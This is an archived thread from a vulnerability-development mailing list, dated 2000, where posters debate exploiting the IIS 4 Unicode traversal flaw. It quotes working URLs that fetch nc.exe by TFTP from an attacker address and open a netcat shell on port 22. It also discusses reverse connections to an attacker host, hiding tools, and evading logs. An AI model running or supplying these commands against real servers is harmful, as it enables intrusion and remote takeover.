Vulnerability Development mailing list archives

Re: dos commands via iis 4 (TFTP)-NETBIOS


From: Zoa_Chien <zoachien () SECURAX ORG>
Date: Sat, 18 Nov 2000 12:52:14 +0100

At 12:08 17-11-00 +0000, you wrote:
Final one on this I think. Since we have the Extended Unicode
Vulnerability already why not just modify iishack1.5 to create nc.exe
instead of eeyerulez.asp and then launch nc.exe directly there without
having to perform a buffer overlfow and crash the server.

It will not be that easy...
IIS does not like all characters to be uploaded, the iishack shellcode was
encoded to make sure those characters are not present.
It would be easier to upload a .hex file line by line with echo >> and then
use
debug.exe to convert the .hex to a .exe.

Btw: doesn't IIShack1.5 elevate privilages (system instead of webserver?) too ?
If so, using nc.exe is not as good as using the .asp.
Could someone e-mail me the compiled eeyerulez.asp ? thnx.



BooBoo

On Wed, 15 Nov 2000, MadHat wrote:

> booboo wrote:
> >
> > Since you already have more or less root level access on the web server
>
> You have nothing like root level access, you have what would be equiv.
> to nobody access...  very limited overall.  You have access as
> IUSER_<MACHINE> which is a member of the GUEST group, but with certain
> exploits, you can get that user added to the local Administrators
> group.  Then you have more or less root level access.
>
> > and since you have already copied cmd.exe to the wwwroot\msadc or
\scripts
> > dir.. use echo with redirects to pipe(&APPEND) 256 bytes at a time of
> > nc.exe to a file in c:\temp... it would take much longer but it does not
> > rely on outward bound dataflows being allowed or having to stop and start
> > servers on ports that you need. If the Firewall is configured correctly
> > then you are not really gaining much by getting NC.exe on the server
> > anyway. Instead why not use this exploit to run netstat and use the
>
> I personally would rather have a shell on the box to be able to do
> things easily than to fight to get anything done through the web
> interface.  Once you have the shell, you could easily set up port
> redirectors to be able to do almost anything you want (after finding the
> holes in the ACLs).  Port redirector on the inside and outside and then
> you can use what ever protocol through the firewall on ports that are
> allowed.
>
> > results for TCP prediction attacks. Or re-direct the focus of the attack
> > to the source of connections to the web server which is likely to be
> > easier.. i.e. get authentication credentials from the source or take over
> > the connection with the current SSL session string from the users
> > temporary internet files. By the By the port I would go for is 25 since
> > many sites will e-mail request confirmations to their customers... thus
> > you could try creating a user account with added exchange profile and get
> > the file to your account that way.
>
> Like I have said, the port would just depend on the situation, each
> situation will open opps for different ports.
>
> >
> > The question I guess is why put nc.exe up there at all. It is not very
> > inconspicous and it is not going to gain you much more of a foothold than
> > you already have.
>
> Like I said, I would rather have shell level access which make it easier
> to do what ever it is I want to do.  Not having to worry about if I can
> get a '=' to work in a URL :^).  And nc could be named anything,
> anywhere on the drive...  so it is easy to hide.  The name and location
> of nc is irrelevant.
>
> > Surely it would be better to enumerate the internal
> > network to find the host or hosts that contain the sensitive info.
> >
>
> I still think that would be easier with a shell, being able to do NULL
> user connections I have found rather difficult though a browser with
> UNICODE.
>
> > Why not try to traceroute or ping out from the web server. If ICMP is
> > allowed out why not try to get one of those ICMP tunnel clients up
> > there and do a reverse tunnel? Less conspicuos Non?!
>
> All this is logged to the web server logs (all the UNICODE requests you
> send), once in with a shell no one even knows you are there (other than
> the entries you had to use to get the apps there and get them running),
> leave as few clues as possible.  If I can get nc on the box (and no nc
> is not the only choice) I can get a shell and do things much more
> quietly than I can continuing through a web server.
>
> I am not saying you can't do it without netcat, or that you are wrong.
> I am mearly presenting my method that I have used for testing this
> particular vuln.
>
>
> >
> > Still no luck with the '=' sign.
> >
> > Cheers,BooBoo.
> >
> > On Wed, 15 Nov 2000, MadHat wrote:
> >
> > > "Bluefish (P.Magnusson)" wrote:
> > > >
> > > > >
http://.../scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp+-i+<IPADDR>+get+nc.exe+c:\inetpub\scripts\nc.exe
> > > > >
http://.../scripts/..%c0%af../winnt/system32/cmd.exe?/c+c:\inetpub\scripts\nc.exe+-l+-p+22+-t+-e+cmd.exe
> > > > > So after this, there is a port open (22 in this case as many
admins will
> > > > > leave this open for SSH, but this is an NT box, which as we
know rarely
> > > > > has SSH running on it) that I can telnet to and have a command
prompt.
> > > >
> > > > An more reliable attack though, would be to download and execute
a client
> > > > which connects to www.attacker.com:80, only port 80 won't be
running a
> > > > webserver but a server for the client.
> > > >
> > > > That way it will overcome more firewalls; only an application level
> > > > firewall or a closed DMZ would cause problems, where as the
attack you
> > > > describe rely on some server port not being firewalled.
> > >
> > > right, but this is all about misconfiguration.  If nothing is
> > > misconfigured, and all patches are up to date, then you don't even get
> > > this far.  The point was that once nc.exe is on the box, you can pick
> > > and choose the port(s) you want to bind to depending on the situation
> > > and the ACLs or firewall rules.  I chose 22 because it is often
open for
> > > ssh, as I mentioned, but I could have chosen 25 is there wasn't an SMTP
> > > server,  but that was not left open in the case I was testing.  This is
> > > just one part of the overall penetration, you would have to know more
> > > info about the target before you can choose how to continue and what
> > > will be best for any particular situation.  I personally like
netcat, so
> > > I chose that tool.  It is all personal preference, what you know and
> > > what you feel comfortable using.  There is no "final answer" here.
> > >
> > > --
> > > MadHat at unspecific.com
> > >                                    "The 3 great virtues of a
programmer:
> > >                                       Laziness, Impatience, and
Hubris."
> > >                                                  --Larry Wall
> > >
>
> --
> MadHat at unspecific.com
>                                    "The 3 great virtues of a programmer:
>                                       Laziness, Impatience, and Hubris."
>                                                  --Larry Wall
>


Current thread: